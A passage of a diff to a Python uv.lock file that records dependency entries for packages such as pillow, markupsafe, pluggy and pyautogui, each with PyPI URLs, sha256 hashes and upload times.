"https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "mccabe" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/ff/0ffefdcac38932a54d2b5eed4e0ba8a408f215002cd178ad1df0f2806ff8/mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325", size = 9658, upload-time = "2022-01-24T01:14:51.113Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/27/1a/1f68f9ba0c207934b35b86a8ca3aad8395a3d6dd7921c0686e23853ff5a9/mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e", size = 7350, upload-time = "2022-01-24T01:14:49.62Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + +[[package]] +name = "mouseinfo" +version = "0.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyperclip" }, + { name = "python3-xlib", marker = "sys_platform == 'linux'" }, + { name = "rubicon-objc", marker = "sys_platform == 'darwin'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/28/fa/b2ba8229b9381e8f6381c1dcae6f4159a7f72349e414ed19cfbbd1817173/MouseInfo-0.1.3.tar.gz", hash = "sha256:2c62fb8885062b8e520a3cce0a297c657adcc08c60952eb05bc8256ef6f7f6e7", size = 10850, upload-time = "2020-03-27T21:20:10.136Z" } + +[[package]] +name = "packaging" +version = "25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" }, +] + +[[package]] +name = "pillow" +version = "12.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5a/b0/cace85a1b0c9775a9f8f5d5423c8261c858760e2466c79b2dd184638b056/pillow-12.0.0.tar.gz", hash = "sha256:87d4f8125c9988bfbed67af47dd7a953e2fc7b0cc1e7800ec6d2080d490bb353", size = 47008828, upload-time = "2025-10-15T18:24:14.008Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/f2/de993bb2d21b33a98d031ecf6a978e4b61da207bef02f7b43093774c480d/pillow-12.0.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:0869154a2d0546545cde61d1789a6524319fc1897d9ee31218eae7a60ccc5643", size = 4045493, upload-time = "2025-10-15T18:22:25.758Z" }, + { url = "https://files.pythonhosted.org/packages/0e/b6/bc8d0c4c9f6f111a783d045310945deb769b806d7574764234ffd50bc5ea/pillow-12.0.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a7921c5a6d31b3d756ec980f2f47c0cfdbce0fc48c22a39347a895f41f4a6ea4", size = 4120461, upload-time = "2025-10-15T18:22:27.286Z" }, + { url = "https://files.pythonhosted.org/packages/5d/57/d60d343709366a353dc56adb4ee1e7d8a2cc34e3fbc22905f4167cfec119/pillow-12.0.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:1ee80a59f6ce048ae13cda1abf7fbd2a34ab9ee7d401c46be3ca685d1999a399", size = 3576912, upload-time = "2025-10-15T18:22:28.751Z" }, + { url = "https://files.pythonhosted.org/packages/a4/a4/a0a31467e3f83b94d37568294b01d22b43ae3c5d85f2811769b9c66389dd/pillow-12.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c50f36a62a22d350c96e49ad02d0da41dbd17ddc2e29750dbdba4323f85eb4a5", size = 5249132, upload-time = "2025-10-15T18:22:30.641Z" }, + { url = "https://files.pythonhosted.org/packages/83/06/48eab21dd561de2914242711434c0c0eb992ed08ff3f6107a5f44527f5e9/pillow-12.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:5193fde9a5f23c331ea26d0cf171fbf67e3f247585f50c08b3e205c7aeb4589b", size = 4650099, upload-time = "2025-10-15T18:22:32.73Z" }, + { url = "https://files.pythonhosted.org/packages/fc/bd/69ed99fd46a8dba7c1887156d3572fe4484e3f031405fcc5a92e31c04035/pillow-12.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bde737cff1a975b70652b62d626f7785e0480918dece11e8fef3c0cf057351c3", size = 6230808, upload-time = "2025-10-15T18:22:34.337Z" }, + { url = "https://files.pythonhosted.org/packages/ea/94/8fad659bcdbf86ed70099cb60ae40be6acca434bbc8c4c0d4ef356d7e0de/pillow-12.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a6597ff2b61d121172f5844b53f21467f7082f5fb385a9a29c01414463f93b07", size = 8037804, upload-time = "2025-10-15T18:22:36.402Z" }, + { url = "https://files.pythonhosted.org/packages/20/39/c685d05c06deecfd4e2d1950e9a908aa2ca8bc4e6c3b12d93b9cafbd7837/pillow-12.0.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0b817e7035ea7f6b942c13aa03bb554fc44fea70838ea21f8eb31c638326584e", size = 6345553, upload-time = "2025-10-15T18:22:38.066Z" }, + { url = "https://files.pythonhosted.org/packages/38/57/755dbd06530a27a5ed74f8cb0a7a44a21722ebf318edbe67ddbd7fb28f88/pillow-12.0.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f4f1231b7dec408e8670264ce63e9c71409d9583dd21d32c163e25213ee2a344", size = 7037729, upload-time = "2025-10-15T18:22:39.769Z" }, + { url = "https://files.pythonhosted.org/packages/ca/b6/7e94f4c41d238615674d06ed677c14883103dce1c52e4af16f000338cfd7/pillow-12.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6e51b71417049ad6ab14c49608b4a24d8fb3fe605e5dfabfe523b58064dc3d27", size = 6459789, upload-time = "2025-10-15T18:22:41.437Z" }, + { url = "https://files.pythonhosted.org/packages/9c/14/4448bb0b5e0f22dd865290536d20ec8a23b64e2d04280b89139f09a36bb6/pillow-12.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d120c38a42c234dc9a8c5de7ceaaf899cf33561956acb4941653f8bdc657aa79", size = 7130917, upload-time = "2025-10-15T18:22:43.152Z" }, + { url = "https://files.pythonhosted.org/packages/dd/ca/16c6926cc1c015845745d5c16c9358e24282f1e588237a4c36d2b30f182f/pillow-12.0.0-cp313-cp313-win32.whl", hash = "sha256:4cc6b3b2efff105c6a1656cfe59da4fdde2cda9af1c5e0b58529b24525d0a098", size = 6302391, upload-time = "2025-10-15T18:22:44.753Z" }, + { url = "https://files.pythonhosted.org/packages/6d/2a/dd43dcfd6dae9b6a49ee28a8eedb98c7d5ff2de94a5d834565164667b97b/pillow-12.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:4cf7fed4b4580601c4345ceb5d4cbf5a980d030fd5ad07c4d2ec589f95f09905", size = 7007477, upload-time = "2025-10-15T18:22:46.838Z" }, + { url = "https://files.pythonhosted.org/packages/77/f0/72ea067f4b5ae5ead653053212af05ce3705807906ba3f3e8f58ddf617e6/pillow-12.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:9f0b04c6b8584c2c193babcccc908b38ed29524b29dd464bc8801bf10d746a3a", size = 2435918, upload-time = "2025-10-15T18:22:48.399Z" }, + { url = "https://files.pythonhosted.org/packages/f5/5e/9046b423735c21f0487ea6cb5b10f89ea8f8dfbe32576fe052b5ba9d4e5b/pillow-12.0.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:7fa22993bac7b77b78cae22bad1e2a987ddf0d9015c63358032f84a53f23cdc3", size = 5251406, upload-time = "2025-10-15T18:22:49.905Z" }, + { url = "https://files.pythonhosted.org/packages/12/66/982ceebcdb13c97270ef7a56c3969635b4ee7cd45227fa707c94719229c5/pillow-12.0.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f135c702ac42262573fe9714dfe99c944b4ba307af5eb507abef1667e2cbbced", size = 4653218, upload-time = "2025-10-15T18:22:51.587Z" }, + { url = "https://files.pythonhosted.org/packages/16/b3/81e625524688c31859450119bf12674619429cab3119eec0e30a7a1029cb/pillow-12.0.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c85de1136429c524e55cfa4e033b4a7940ac5c8ee4d9401cc2d1bf48154bbc7b", size = 6266564, upload-time = "2025-10-15T18:22:53.215Z" }, + { url = "https://files.pythonhosted.org/packages/98/59/dfb38f2a41240d2408096e1a76c671d0a105a4a8471b1871c6902719450c/pillow-12.0.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:38df9b4bfd3db902c9c2bd369bcacaf9d935b2fff73709429d95cc41554f7b3d", size = 8069260, upload-time = "2025-10-15T18:22:54.933Z" }, + { url = "https://files.pythonhosted.org/packages/dc/3d/378dbea5cd1874b94c312425ca77b0f47776c78e0df2df751b820c8c1d6c/pillow-12.0.0-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7d87ef5795da03d742bf49439f9ca4d027cde49c82c5371ba52464aee266699a", size = 6379248, upload-time = "2025-10-15T18:22:56.605Z" }, + { url = "https://files.pythonhosted.org/packages/84/b0/d525ef47d71590f1621510327acec75ae58c721dc071b17d8d652ca494d8/pillow-12.0.0-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aff9e4d82d082ff9513bdd6acd4f5bd359f5b2c870907d2b0a9c5e10d40c88fe", size = 7066043, upload-time = "2025-10-15T18:22:58.53Z" }, + { url = "https://files.pythonhosted.org/packages/61/2c/aced60e9cf9d0cde341d54bf7932c9ffc33ddb4a1595798b3a5150c7ec4e/pillow-12.0.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:8d8ca2b210ada074d57fcee40c30446c9562e542fc46aedc19baf758a93532ee", size = 6490915, upload-time = "2025-10-15T18:23:00.582Z" }, + { url = "https://files.pythonhosted.org/packages/ef/26/69dcb9b91f4e59f8f34b2332a4a0a951b44f547c4ed39d3e4dcfcff48f89/pillow-12.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:99a7f72fb6249302aa62245680754862a44179b545ded638cf1fef59befb57ef", size = 7157998, upload-time = "2025-10-15T18:23:02.627Z" }, + { url = "https://files.pythonhosted.org/packages/61/2b/726235842220ca95fa441ddf55dd2382b52ab5b8d9c0596fe6b3f23dafe8/pillow-12.0.0-cp313-cp313t-win32.whl", hash = "sha256:4078242472387600b2ce8d93ade8899c12bf33fa89e55ec89fe126e9d6d5d9e9", size = 6306201, upload-time = "2025-10-15T18:23:04.709Z" }, + { url = "https://files.pythonhosted.org/packages/c0/3d/2afaf4e840b2df71344ababf2f8edd75a705ce500e5dc1e7227808312ae1/pillow-12.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:2c54c1a783d6d60595d3514f0efe9b37c8808746a66920315bfd34a938d7994b", size = 7013165, upload-time = "2025-10-15T18:23:06.46Z" }, + { url = "https://files.pythonhosted.org/packages/6f/75/3fa09aa5cf6ed04bee3fa575798ddf1ce0bace8edb47249c798077a81f7f/pillow-12.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:26d9f7d2b604cd23aba3e9faf795787456ac25634d82cd060556998e39c6fa47", size = 2437834, upload-time = "2025-10-15T18:23:08.194Z" }, + { url = "https://files.pythonhosted.org/packages/54/2a/9a8c6ba2c2c07b71bec92cf63e03370ca5e5f5c5b119b742bcc0cde3f9c5/pillow-12.0.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:beeae3f27f62308f1ddbcfb0690bf44b10732f2ef43758f169d5e9303165d3f9", size = 4045531, upload-time = "2025-10-15T18:23:10.121Z" }, + { url = "https://files.pythonhosted.org/packages/84/54/836fdbf1bfb3d66a59f0189ff0b9f5f666cee09c6188309300df04ad71fa/pillow-12.0.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:d4827615da15cd59784ce39d3388275ec093ae3ee8d7f0c089b76fa87af756c2", size = 4120554, upload-time = "2025-10-15T18:23:12.14Z" }, + { url = "https://files.pythonhosted.org/packages/0d/cd/16aec9f0da4793e98e6b54778a5fbce4f375c6646fe662e80600b8797379/pillow-12.0.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:3e42edad50b6909089750e65c91aa09aaf1e0a71310d383f11321b27c224ed8a", size = 3576812, upload-time = "2025-10-15T18:23:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/f6/b7/13957fda356dc46339298b351cae0d327704986337c3c69bb54628c88155/pillow-12.0.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:e5d8efac84c9afcb40914ab49ba063d94f5dbdf5066db4482c66a992f47a3a3b", size = 5252689, upload-time = "2025-10-15T18:23:15.562Z" }, + { url = "https://files.pythonhosted.org/packages/fc/f5/eae31a306341d8f331f43edb2e9122c7661b975433de5e447939ae61c5da/pillow-12.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:266cd5f2b63ff316d5a1bba46268e603c9caf5606d44f38c2873c380950576ad", size = 4650186, upload-time = "2025-10-15T18:23:17.379Z" }, + { url = "https://files.pythonhosted.org/packages/86/62/2a88339aa40c4c77e79108facbd307d6091e2c0eb5b8d3cf4977cfca2fe6/pillow-12.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58eea5ebe51504057dd95c5b77d21700b77615ab0243d8152793dc00eb4faf01", size = 6230308, upload-time = "2025-10-15T18:23:18.971Z" }, + { url = "https://files.pythonhosted.org/packages/c7/33/5425a8992bcb32d1cb9fa3dd39a89e613d09a22f2c8083b7bf43c455f760/pillow-12.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f13711b1a5ba512d647a0e4ba79280d3a9a045aaf7e0cc6fbe96b91d4cdf6b0c", size = 8039222, upload-time = "2025-10-15T18:23:20.909Z" }, + { url = "https://files.pythonhosted.org/packages/d8/61/3f5d3b35c5728f37953d3eec5b5f3e77111949523bd2dd7f31a851e50690/pillow-12.0.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6846bd2d116ff42cba6b646edf5bf61d37e5cbd256425fa089fee4ff5c07a99e", size = 6346657, upload-time = "2025-10-15T18:23:23.077Z" }, + { url = "https://files.pythonhosted.org/packages/3a/be/ee90a3d79271227e0f0a33c453531efd6ed14b2e708596ba5dd9be948da3/pillow-12.0.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c98fa880d695de164b4135a52fd2e9cd7b7c90a9d8ac5e9e443a24a95ef9248e", size = 7038482, upload-time = "2025-10-15T18:23:25.005Z" }, + { url = "https://files.pythonhosted.org/packages/44/34/a16b6a4d1ad727de390e9bd9f19f5f669e079e5826ec0f329010ddea492f/pillow-12.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:fa3ed2a29a9e9d2d488b4da81dcb54720ac3104a20bf0bd273f1e4648aff5af9", size = 6461416, upload-time = "2025-10-15T18:23:27.009Z" }, + { url = "https://files.pythonhosted.org/packages/b6/39/1aa5850d2ade7d7ba9f54e4e4c17077244ff7a2d9e25998c38a29749eb3f/pillow-12.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d034140032870024e6b9892c692fe2968493790dd57208b2c37e3fb35f6df3ab", size = 7131584, upload-time = "2025-10-15T18:23:29.752Z" }, + { url = "https://files.pythonhosted.org/packages/bf/db/4fae862f8fad0167073a7733973bfa955f47e2cac3dc3e3e6257d10fab4a/pillow-12.0.0-cp314-cp314-win32.whl", hash = "sha256:1b1b133e6e16105f524a8dec491e0586d072948ce15c9b914e41cdadd209052b", size = 6400621, upload-time = "2025-10-15T18:23:32.06Z" }, + { url = "https://files.pythonhosted.org/packages/2b/24/b350c31543fb0107ab2599464d7e28e6f856027aadda995022e695313d94/pillow-12.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:8dc232e39d409036af549c86f24aed8273a40ffa459981146829a324e0848b4b", size = 7142916, upload-time = "2025-10-15T18:23:34.71Z" }, + { url = "https://files.pythonhosted.org/packages/0f/9b/0ba5a6fd9351793996ef7487c4fdbde8d3f5f75dbedc093bb598648fddf0/pillow-12.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:d52610d51e265a51518692045e372a4c363056130d922a7351429ac9f27e70b0", size = 2523836, upload-time = "2025-10-15T18:23:36.967Z" }, + { url = "https://files.pythonhosted.org/packages/f5/7a/ceee0840aebc579af529b523d530840338ecf63992395842e54edc805987/pillow-12.0.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:1979f4566bb96c1e50a62d9831e2ea2d1211761e5662afc545fa766f996632f6", size = 5255092, upload-time = "2025-10-15T18:23:38.573Z" }, + { url = "https://files.pythonhosted.org/packages/44/76/20776057b4bfd1aef4eeca992ebde0f53a4dce874f3ae693d0ec90a4f79b/pillow-12.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b2e4b27a6e15b04832fe9bf292b94b5ca156016bbc1ea9c2c20098a0320d6cf6", size = 4653158, upload-time = "2025-10-15T18:23:40.238Z" }, + { url = "https://files.pythonhosted.org/packages/82/3f/d9ff92ace07be8836b4e7e87e6a4c7a8318d47c2f1463ffcf121fc57d9cb/pillow-12.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fb3096c30df99fd01c7bf8e544f392103d0795b9f98ba71a8054bcbf56b255f1", size = 6267882, upload-time = "2025-10-15T18:23:42.434Z" }, + { url = "https://files.pythonhosted.org/packages/9f/7a/4f7ff87f00d3ad33ba21af78bfcd2f032107710baf8280e3722ceec28cda/pillow-12.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7438839e9e053ef79f7112c881cef684013855016f928b168b81ed5835f3e75e", size = 8071001, upload-time = "2025-10-15T18:23:44.29Z" }, + { url = "https://files.pythonhosted.org/packages/75/87/fcea108944a52dad8cca0715ae6247e271eb80459364a98518f1e4f480c1/pillow-12.0.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d5c411a8eaa2299322b647cd932586b1427367fd3184ffbb8f7a219ea2041ca", size = 6380146, upload-time = "2025-10-15T18:23:46.065Z" }, + { url = "https://files.pythonhosted.org/packages/91/52/0d31b5e571ef5fd111d2978b84603fce26aba1b6092f28e941cb46570745/pillow-12.0.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d7e091d464ac59d2c7ad8e7e08105eaf9dafbc3883fd7265ffccc2baad6ac925", size = 7067344, upload-time = "2025-10-15T18:23:47.898Z" }, + { url = "https://files.pythonhosted.org/packages/7b/f4/2dd3d721f875f928d48e83bb30a434dee75a2531bca839bb996bb0aa5a91/pillow-12.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:792a2c0be4dcc18af9d4a2dfd8a11a17d5e25274a1062b0ec1c2d79c76f3e7f8", size = 6491864, upload-time = "2025-10-15T18:23:49.607Z" }, + { url = "https://files.pythonhosted.org/packages/30/4b/667dfcf3d61fc309ba5a15b141845cece5915e39b99c1ceab0f34bf1d124/pillow-12.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:afbefa430092f71a9593a99ab6a4e7538bc9eabbf7bf94f91510d3503943edc4", size = 7158911, upload-time = "2025-10-15T18:23:51.351Z" }, + { url = "https://files.pythonhosted.org/packages/a2/2f/16cabcc6426c32218ace36bf0d55955e813f2958afddbf1d391849fee9d1/pillow-12.0.0-cp314-cp314t-win32.whl", hash = "sha256:3830c769decf88f1289680a59d4f4c46c72573446352e2befec9a8512104fa52", size = 6408045, upload-time = "2025-10-15T18:23:53.177Z" }, + { url = "https://files.pythonhosted.org/packages/35/73/e29aa0c9c666cf787628d3f0dcf379f4791fba79f4936d02f8b37165bdf8/pillow-12.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:905b0365b210c73afb0ebe9101a32572152dfd1c144c7e28968a331b9217b94a", size = 7148282, upload-time = "2025-10-15T18:23:55.316Z" }, + { url = "https://files.pythonhosted.org/packages/c1/70/6b41bdcddf541b437bbb9f47f94d2db5d9ddef6c37ccab8c9107743748a4/pillow-12.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:99353a06902c2e43b43e8ff74ee65a7d90307d82370604746738a1e0661ccca7", size = 2525630, upload-time = "2025-10-15T18:23:57.149Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cf/86/0248f086a84f01b37aaec0fa567b397df1a119f73c16f6c7a9aac73ea309/platformdirs-4.5.1.tar.gz", hash = "sha256:61d5cdcc6065745cdd94f0f878977f8de9437be93de97c1c12f853c9c0cdcbda", size = 21715, upload-time = "2025-12-05T13:52:58.638Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/28/3bfe2fa5a7b9c46fe7e13c97bda14c895fb10fa2ebf1d0abb90e0cea7ee1/platformdirs-4.5.1-py3-none-any.whl", hash = "sha256:d03afa3963c806a9bed9d5125c8f4cb2fdaf74a55ab60e5d59b3fde758104d31", size = 18731, upload-time = "2025-12-05T13:52:56.823Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pyautogui" +version = "0.9.54" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mouseinfo" }, + { name = "pygetwindow" }, + { name = "pymsgbox" }, + { name = "pyobjc-core", marker = "sys_platform == 'darwin'" }, + { name = "pyobjc-framework-quartz", marker = "sys_platform == 'darwin'" }, + { name = "pyscreeze" }, + { name = "python3-xlib", marker = "sys_platform == 'linux'" }, + { name = "pytweening" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/65/ff/cdae0a8c2118a0de74b6cf4cbcdcaf8fd25857e6c3f205ce4b1794b27814/PyAutoGUI-0.9.54.tar.gz", hash = 